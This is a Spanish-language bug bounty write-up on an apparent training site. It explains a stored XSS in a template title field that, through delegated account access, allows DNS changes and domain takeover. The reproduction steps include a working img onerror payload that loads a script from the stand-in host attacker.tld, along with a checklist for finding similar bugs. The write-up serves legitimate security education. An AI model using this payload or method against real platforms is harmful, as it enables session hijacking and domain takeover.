Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel BásicoGratisbounty: €1.200

Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover

Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.

Gorka El Bochi9 de mayo de 202612 min

Respuesta rápida

Un campo de título de plantilla parece inofensivo, pero si llega al DOM sin sanitización y lo escribe alguien con acceso delegado a la cuenta, se convierte en Stored XSS persistente. En el caso real documentado, el payload sobrevivía a la revocación de acceso y permitía modificar registros DNS desde la sesión de la víctima. Bounty: €1.200.


El escenario: acceso delegado como vector de entrada

La plataforma vulnerable tenía una funcionalidad de Access Manager: un usuario podía invitar a otro a gestionar su cuenta. Cuando el acceso se concedía, el invitado operaba bajo el contexto de la cuenta del propietario, con acceso a herramientas administrativas (incluyendo la configuración de dominios).

El problema es que ese flujo de confianza no venía acompañado de restricciones sobre qué podía escribir el invitado en campos aparentemente inocuos. El campo título de plantilla aceptaba y almacenaba HTML sin ningún tipo de sanitización. Nadie revisó ese input porque "es solo un nombre".


Los dos fallos encadenados

1. Falta de sanitización en el campo de título

El campo de título de las plantillas renderiza su contenido directamente en el DOM cuando la plantilla se edita o duplica. No hay codificación de entidades HTML, no hay CSP efectivo que bloquee la ejecución inline, y el valor del campo se inserta en un contexto donde los atributos de evento son evaluados por el navegador.

2. Persistencia del payload tras revocar el acceso

Una vez almacenado el payload, el script malicioso queda vinculado a la plantilla, no al usuario que lo inyectó. Revocar el acceso al atacante no elimina el código. Cada vez que el propietario abre o duplica esa plantilla, el payload sigue ejecutándose, en su sesión, con sus credenciales.


Pasos de reproducción

Prerequisito: el atacante ha solicitado acceso a la cuenta de la víctima a través del Access Manager y el propietario lo ha concedido.

  1. Desde la sesión delegada, navegar al módulo de Templates.
  2. Crear una nueva plantilla.
  3. En el campo Title, inyectar el siguiente payload:
html
<img src="x" onerror="var s=document.createElement('script');s.src='https://attacker.tld/payload.js';document.body.appendChild(s)">
  1. Guardar la plantilla.
  2. Duplicar la plantilla recién creada.
  3. Hacer clic en Edit sobre la copia.
  4. El script externo se carga y ejecuta automáticamente en la sesión del propietario de la cuenta.

El payload carga un script externo controlado por el atacante, lo que permite actualizarlo en cualquier momento sin necesidad de volver a tocar la plantilla.


Análisis de la causa raíz

La causa técnica es sencilla: el backend almacena el valor del campo sin pasar por ninguna función de escape, y el frontend lo renderiza directamente en el DOM. El contexto de ejecución (sesión autenticada con permisos sobre configuración de dominio) es lo que convierte un XSS ordinario en algo con impacto real.

bash
Atacante con acceso delegado
    ↓ Crea plantilla con payload XSS en título
POST /templates  →  título sin sanitizar
    ↓ Almacenado en BD tal cual
Base de datos (payload persistido)
    ↓ Víctima abre/duplica plantilla
DOM evalúa atributo onerror
    ↓ Carga script externo
Ejecuta en sesión autenticada de la víctima
    ↓
Modificar registros DNS  →  Domain takeover

Impacto

El script se ejecuta dentro de la sesión autenticada de la víctima, lo que significa que puede:

  • Realizar llamadas a la API con las credenciales de la sesión activa
  • Modificar la configuración de dominios vinculados a la cuenta
  • Añadir o cambiar registros DNS (A, CNAME, MX, TXT)
  • Añadir registros maliciosos que apunten a infraestructura del atacante

El escenario de domain takeover es directo: añadir un registro que delegue la resolución a servidores controlados por el atacante, interceptar tráfico o tomar el control de servicios ligados al dominio.


Qué buscar en objetivos similares

Cuando un target tiene un sistema de acceso delegado o impersonación (agencias, colaboradores, subaccounts), la superficie de ataque se multiplica: hay que revisar todos los campos de entrada accesibles desde esa sesión secundaria, especialmente los que parecen meramente descriptivos.

  • Campos de nombre o título en recursos como plantillas, campañas, workflows o proyectos.
  • ¿El valor se renderiza en algún punto en el DOM sin pasar por textContent?
  • ¿El backend aplica sanitización, o simplemente almacena y devuelve el valor raw?
  • ¿Qué pasa cuando el recurso se duplica? A veces la copia relaja las validaciones del original.
  • Verificar si el payload sobrevive a una revocación de acceso — si es así, el impacto temporal del atacante se extiende indefinidamente.

Los XSS en campos de nombre son casi siempre de baja dificultad técnica, pero cuando aterrizan en un contexto con privilegios sobre infraestructura crítica (dominios, DNS, facturación), el payout y el impacto real son proporcionales al daño potencial.


Labs relacionados

Practica esta clase de Stored XSS en escenarios reales con acceso delegado y campos administrativos: labs de XSS.

Practica esto en un lab

Xss

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados